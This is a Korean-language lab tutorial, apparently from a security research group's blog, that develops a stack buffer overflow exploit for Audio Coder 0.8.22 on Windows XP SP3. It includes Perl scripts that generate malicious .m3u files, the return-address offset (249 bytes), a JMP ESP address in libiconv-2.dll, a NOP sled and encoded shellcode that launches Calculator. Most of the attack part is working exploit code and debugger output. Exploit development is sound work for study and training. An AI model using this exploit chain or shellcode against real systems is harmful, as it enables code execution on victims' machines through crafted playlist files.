개요

Audio Coder 0.8.22의 스택 기반 오버플로우 취약점을 찾고 exploit하여 스택 기반 오버플로우에 대한 이해를 더욱 더 알 수 있도록 할 것이다.


Exploit 대상

Audio Coder 0.8.22(https://www.exploit-db.com/exploits/26411)


실습 환경

  • 운영체제

Windows XP Service Pack 3: Exploit 대상인 Audio Coder 0.8.22를 실행시킬 운영체제

Kali Linux 1.1.0: pattern을 생성하고, 검색하기 위해 사용

  • 사용한 툴

Perl: m3u 파일을 생성하는 스크립트 작성

WinDbg: Audio Coder 0.8.22를 디버깅, JMP ESP 검색


1. Audio Coder 0.8.22 설치

1) Windows XP에서 'https://www.exploit-db.com/exploits/26411/'로 접속하여 Download Vulnerable App 오른쪽에 있는 버튼을 눌러 취약한 애플리케이션을 다운받는다(그리고 Download Exploit 오른쪽 부분에 Source를 누르면 아래 PoC 코드를 다운 받을 수 있다).




2) 설치한 AudioCoder를 실행시키면 아래와 같이 실행된다.




2. Post-Mortem 디버거 등록

1) 다음으로 cmd을 띄워서 WinDbg -I 명령어를 실행한다. 이 명령어는 WinDbg 디버거를 post-mortem 디버거로 등록한다는 의미이다. 즉, 오류가 발생하면 WinDbg 디버거가 자동으로 이를 포착하여 오류가 난 곳을 디버깅할 수 있게 해준다.



2) 위 명령어를 실행하면 아래와 같이 WinDbg가 default postmortem debugger으로 설치되었다는 메시지를 띄워진다.




3. 버퍼 크기 확인

1) 앞에 header로 "http://"을 넣어주고, 뒤에 "A"를 500개를 붙여서 test1.m3u 파일을 생성한다.


# C:\Exploit\test1.pl
my $file = "test1.m3u";
my $header = "http://";
my $junk = "A" x 500;

open($FILE, ">$file");
print $FILE $header.$junk;
close($FILE);


2) 위에서 생성한 test1.m3u 파일을 AudioCoder에 로딩시키면 에러가 나고, 에러가 난 코드와 레지스터들을 WinDbg를 통해 보여준다. 이 때 EIP를 보면 41414141임을 확인할 수 있다. 이는 "A" 500개가 버퍼에서 넘쳐서 Return Address를 덮었음을 의미한다.



3) 500 byte 내에 Return Address를 변경하므로 정확히 몇 번째 byte에서 Return Address를 덮어쓰는지 쉽게 확인하기 위해 Kali Linux의 pattern_create.rb 명령어(usage: ./pattern_create.rb <패턴의 개수>)를 통해 500 byte의 패턴을 생성한다.



4) 위의 패턴을 사용하여 아래와 같이 코드를 수정한다.


# C:\Exploit\test2.pl
my $file = "test2.m3u";
my $header = "http://";
my $junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9".
		   "Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9".
		   "Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9".
		   "Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9".
		   "Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9".
		   "Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9".
		   "Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9".
		   "Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9".
		   "Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9".
		   "Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9".
		   "Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9".
		   "Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9".
		   "Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9".
		   "An0An1An2An3An4An5An6An7An8An9".
		   "Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9".
		   "Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9".
		   "Aq0Aq1Aq2Aq3Aq4Aq5Aq";

open($FILE, ">$file");
print $FILE $header.$junk;
close($FILE);


5) 위의 코드로 생성된 test2.m3u 파일을 AudioCoder에 로딩시키면 EIP가 41336941로 나온다.



6) Kali Linux의 pattern_offset.rb 명령어(usage: ./pattern_offset.rb <offset> <생성했던 패턴의 수>)를 이용하여 위에서 나온 41336941이 몇 번째 byte의 패턴인지 확인하면 249 byte에서 Return Address를 덮는 것을 알 수 있다.




4. EIP & 스택 조작

1) 이제 몇 byte에서 Return Address를 덮어쓰는지 확인하였으므로 EIP와 스택의 데이터를 원하는 값으로 변경하도록 아래와 같이 코드를 수정한다.


# C:\Exploit\test3.pl
my $file = "test3.m3u";
my $header = "http://";
my $junk = "A" x 249;
my $eip = "BBBB";
my $junk2 = "1ABCDEFGHIJKLMNOPQRSTUVWXYZ".
			"2ABCDEFGHIJKLMNOPQRSTUVWXYZ".
			"3ABCDEFGHIJKLMNOPQRSTUVWXYZ".
			"4ABCDEFGHIJKLMNOPQRSTUVWXYZ";

open($FILE, ">$file");
print $FILE $header.$junk.$eip.$junk2;
close($FILE);


2) 위의 코드에서 생성된 test3.m3u 파일을 AudioCoder에 로딩시키면 물론 에러가 나고 WinDbg가 실행이 된다. 이 때 EIP가 42424242("BBBB")이고, ESP는 0012f37c, ESP가 가리키는 주소의 데이터를 보면 junk2 전부 있음을 확인할 수 있다. 즉, EIP를 원하는 메모리 주소를 가리킬 수 있고, Shell Code를 스택에 삽입할 수 있게 되었다.




5. 쉘 코드 삽입

1) EIP를 위에서 확인한 ESP 값(0012f37c)으로 설정하고, NOP(\X90) 8 byte, Shell Code를 추가합니다. Shell Code가 EIP 바로 다음에 와도 되지만 NOP을 8개를 추가한다.


# C:\Exploit\test4.pl
my $file = "test4.m3u";
my $header = "http://";
my $junk = "A" x 249;
my $eip = pack('V', 0x0012f37c);
my $nops = "\x90" x 8;
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1".
			"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30".
			"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa".
			"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96".
			"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b".
			"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a".
			"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83".
			"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98".
			"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61".
			"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05".
			"\x7f\xe8\x7b\xca";

open($FILE, ">$file");
print $FILE $header.$junk.$eip.$nops.$shellcode;
close($FILE);


2) 위에서 나온 test4.m3u 파일을 다시 로딩시키면 계산기가 띄워질 것 같지만 실제로는 실행되지 않는다. 이유를 찾아보면 점프할 EIP가 ESP(0012F37C)처럼 NULL 바이트가 포함된 주소이면 안 되고, 그리고 특정 메모리로 직접 점프하는 것은 좋은 방법이 아니다. ESP 주소로 점프하기 위해서는 ESP로 점프하는 함수를 찾고, EIP가 그 함수로 점프하도록 하면 된다.



3) Windows에서 사용하는 DLL은 버전마다 다를 수 있기 때문에 AudioCoder 자체에서 만든 DLL을 사용합니다. 또한 DLL Relocation이 일어날 수 있기 때문에 주소가 변하지 않는 DLL을 선택한다. 여기서는 libiconv-2.dll를 사용한다.


ModLoad: 00400000 00569000   C:\Program Files\AudioCoder\AudioCoder.exe

ModLoad: 10000000 10029000   C:\Program Files\AudioCoder\mccommon.dll

ModLoad: 66000000 660fb000   C:\Program Files\AudioCoder\libiconv-2.dll

ModLoad: 00570000 0060e000   C:\Program Files\AudioCoder\libxml2.dll

ModLoad: 00610000 00690000   C:\Program Files\AudioCoder\SDL.dll

ModLoad: 00690000 006e6000   C:\Program Files\AudioCoder\SDL_image.dll

ModLoad: 006f0000 00782000   C:\Program Files\AudioCoder\jpeg.dll

ModLoad: 01450000 014b5000   C:\Program Files\AudioCoder\mcres.dll

ModLoad: 01d10000 01d1f000   C:\Program Files\AudioCoder\plugins\dsp_chmx.dll

ModLoad: 02ca0000 02ca6000   C:\Program Files\AudioCoder\plugins\dsp_zsc.dll

ModLoad: 02dc0000 02df8000   C:\Program Files\AudioCoder\SysInfo.dll

ModLoad: 10000000 10029000   C:\Program Files\AudioCoder\mccommon.dll

ModLoad: 66000000 660fb000   C:\Program Files\AudioCoder\libiconv-2.dll

ModLoad: 00570000 0060e000   C:\Program Files\AudioCoder\libxml2.dll

ModLoad: 00610000 00690000   C:\Program Files\AudioCoder\SDL.dll

ModLoad: 00690000 006e6000   C:\Program Files\AudioCoder\SDL_image.dll

ModLoad: 006f0000 00782000   C:\Program Files\AudioCoder\jpeg.dll

ModLoad: 01460000 014c5000   C:\Program Files\AudioCoder\mcres.dll

ModLoad: 01c70000 01c7f000   C:\Program Files\AudioCoder\plugins\dsp_chmx.dll

ModLoad: 01d10000 01d16000   C:\Program Files\AudioCoder\plugins\dsp_zsc.dll

ModLoad: 02d80000 02db8000   C:\Program Files\AudioCoder\SysInfo.dll

ModLoad: 00400000 00569000   C:\Program Files\AudioCoder\AudioCoder.exe

ModLoad: 10000000 10029000   C:\Program Files\AudioCoder\mccommon.dll

ModLoad: 66000000 660fb000   C:\Program Files\AudioCoder\libiconv-2.dll

ModLoad: 00570000 0060e000   C:\Program Files\AudioCoder\libxml2.dll

ModLoad: 00610000 00690000   C:\Program Files\AudioCoder\SDL.dll

ModLoad: 00690000 006e6000   C:\Program Files\AudioCoder\SDL_image.dll

ModLoad: 006f0000 00782000   C:\Program Files\AudioCoder\jpeg.dll

ModLoad: 01460000 014c5000   C:\Program Files\AudioCoder\mcres.dll

ModLoad: 01d10000 01d1f000   C:\Program Files\AudioCoder\plugins\dsp_chmx.dll

ModLoad: 02ca0000 02ca6000   C:\Program Files\AudioCoder\plugins\dsp_zsc.dll

ModLoad: 02dc0000 02df8000   C:\Program Files\AudioCoder\SysInfo.dll

ModLoad: 00400000 00569000   C:\Program Files\AudioCoder\AudioCoder.exe

ModLoad: 10000000 10029000   C:\Program Files\AudioCoder\mccommon.dll

ModLoad: 66000000 660fb000   C:\Program Files\AudioCoder\libiconv-2.dll

ModLoad: 00570000 0060e000   C:\Program Files\AudioCoder\libxml2.dll

ModLoad: 00610000 00690000   C:\Program Files\AudioCoder\SDL.dll

ModLoad: 00690000 006e6000   C:\Program Files\AudioCoder\SDL_image.dll

ModLoad: 006f0000 00782000   C:\Program Files\AudioCoder\jpeg.dll

ModLoad: 01b20000 01b85000   C:\Program Files\AudioCoder\mcres.dll

ModLoad: 02520000 0252f000   C:\Program Files\AudioCoder\plugins\dsp_chmx.dll

ModLoad: 02640000 02646000   C:\Program Files\AudioCoder\plugins\dsp_zsc.dll

ModLoad: 02650000 02688000   C:\Program Files\AudioCoder\SysInfo.dll


4) AudioCoder를 실행한 다음에 WinDbg에서 Attach한다. 그 다음에 libiconv-2.dll 에서 JMP ESP(OP Code: FF E4) 명령어를 찾는다.



5) 찾은 6602c104 주소를 이용하여 아래와 같이 코드를 수정한다.


# C:\Exploit\test5.pl
my $file = "test5.m3u";
my $header = "http://";
my $junk = "A" x 249;
my $eip = pack('V', 0x6602c104);
my $nops = "\x90" x 8;
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1".
			"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30".
			"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa".
			"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96".
			"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b".
			"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a".
			"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83".
			"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98".
			"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61".
			"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05".
			"\x7f\xe8\x7b\xca";

open($FILE, ">$file");
print $FILE $header.$junk.$eip.$nops.$shellcode;
close($FILE);


6) 위에서 생성된 test5.m3u 파일을 AudioCoder에 로딩시키면 드디어 계산기가 띄워지는 것을 확인할 수 있다.





참고

Exploit-DB(https://www.exploit-db.com/exploits/26411)


Written by dinger from SecurityInsight Research Group.

+ Recent posts